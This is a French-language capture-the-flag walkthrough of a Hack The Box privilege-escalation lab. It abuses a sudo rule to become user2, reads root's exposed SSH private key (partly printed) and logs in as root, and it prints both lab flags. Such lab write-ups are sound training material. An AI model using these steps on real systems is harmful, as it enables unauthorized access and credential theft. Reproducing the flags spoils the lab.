Privilege Escalation

Voici les identifiants à utiliser pour se connecter à notre cible : user1:password1

SSH into the server above with the provided credentials, and use the '-p xxxxxx' to specify the port shown above. Once you login, try to find a way to move to 'user2', to get the flag in '/home/user2/flag.txt'.

Connexion via SSH à l'hôte cible :

$ ssh -p 51947 user1@94.xxx.xxx.xxx
The authenticity of host '[94.xxx.xxx.xxx]:51947 ([94.xxx.xxx.xxx]:51947)' can't be established.
ED25519 key fingerprint is SHA256:KDcF5lg81jNEGgdr67bEo+Ui1pmsyHXKnw/ZHPLZCyY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[94.xxx.xxx.xxx]:51947' (ED25519) to the list of known hosts.
(user1@94.xxx.xxx.xxx) Password: 

user1@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:~$ 

Accès au répertoire de user2 :

user1@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:~$ cd /
user1@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/$ ls
bin   dev  home  lib32	libx32	mnt  proc  run	 srv  tmp  var
boot  etc  lib	 lib64	media	opt  root  sbin  sys  usr

user1@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/$ cd home/user2

Après un listing des fichiers présents dans le répertoire de user2, nous observons la présence du fichier flag.txt. Cependant, il nous est impossible de lire le contenu du fichier de cette manière connectés depuis l"utilisateur user1 :

user1@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/home/user2$ ls
flag.txt
user1@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/home/user2$ cat flag.txt 
cat: flag.txt: Permission denied

Nous observons donc les manipulations qu'il est possible d'effectuer en tant que user1 :

user1@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/home/user2$ sudo -l
Matching Defaults entries for user1 on ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user1 may run the following commands on ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:
    (user2 : user2) NOPASSWD: /bin/bash

Nous observons qu'il nous est possible d'utiliser /bin/bash en tant que user2, nous allons utiliser ceci afin de lire le contenu de flag.txt :

user1@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/home/user2$ sudo -u user2 /bin/bash flag.txt 
flag.txt: line 1: HTB{l473r4l_m0v3m3n7_70_4n07h3r_u53r}: command not found

Nous obtenons alors le FLAG :

HTB{l473r4l_m0v3m3n7_70_4n07h3r_u53r}

Once you gain access to 'user2', try to find a way to escalate your privileges to root, to get the flag in '/root/flag.txt'.

Nous passons en tant que user2 à l'aide de la commande sudo -u user2 /bin/bash possible grâce aux informations récoltées plus tôt à l'aide de la commande sudo -l :

user1@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:~$ sudo -u user2 /bin/bash
user2@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/home/user1$ whoami
user2

Comme nous pouvons l'observer, nous somme actuellement connectés en tant que user2.

Une fois connectés, nous essayons d'accéder au contenu du fichier flag.txt de l'utilisateur root dans succès :

user2@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/home/user1$ cd /root/
user2@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/root$ ls
flag.txt
user2@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/root$ cat flag.txt 
cat: flag.txt: Permission denied

Nous effectuons un listing des fichiers présents chez l'utilisateur root afin d'observer si nous avons des droits utiles :

user2@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/root$ ls -al
total 32
drwxr-x--- 1 root user2 4096 Feb 12  2021 .
drwxr-xr-x 1 root root  4096 Jun 15 00:49 ..
-rwxr-x--- 1 root user2    5 Aug 19  2020 .bash_history
-rwxr-x--- 1 root user2 3106 Dec  5  2019 .bashrc
-rwxr-x--- 1 root user2  161 Dec  5  2019 .profile
drwxr-x--- 1 root user2 4096 Feb 12  2021 .ssh
-rwxr-x--- 1 root user2 1309 Aug 19  2020 .viminfo
-rw------- 1 root root    33 Feb 12  2021 flag.txt

Nous observons un accès possible au répertoire .ssh, nous y accédons donc et affichons le contenu du fichier id_rsa représentant la clé ssh privée de notre cible :

user2@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/root$ cd .ssh/
user2@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/root/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub

user2@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:/root/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt3nX57B1Z2nSHY+aaj4lKt9lyeLVNiFh7X0vQisxoPv9BjNppQxV
[.......................................]
QfPM8OxSjcVJCpAAAAEXJvb3RANzZkOTFmZTVjMjcwAQ==
-----END OPENSSH PRIVATE KEY-----

Une fois le contenu du fichier id_rsa copié, nous créons sur notre machine locale (machine attaquante) le fichier id_rsa, lui attribuons les droits nécessaires (chmod 600 id_rsa) et nous connectons en tant que root que l'hôte cible (en renseignant bien le port d'accès à notre cible) :

$ vim id_rsa # création du fichier id_rsa
$ chmod 600 id_rsa # allocation des bon droits au fichier
$ ssh root@94.xxx.xxx.xxx -p 51947 -i id_rsa # connexion en tant que root à notre cible
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 6.1.0-10-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sun Jun 15 01:54:58 2025 from 10.xx.xx.xx
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
root@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:~

Une fois la connexion en tant que root effective, nous affichons le contenu du fichier flag .txt :

root@ng-1811357-gettingstartedprivesc-hun0h-7c6488c84d-jb86b:~# cat flag.txt 
HTB{pr1v1l363_35c4l4710n_2_r007}

Nous obtenons alors le flag:

HTB{pr1v1l363_35c4l4710n_2_r007}

Mis à jour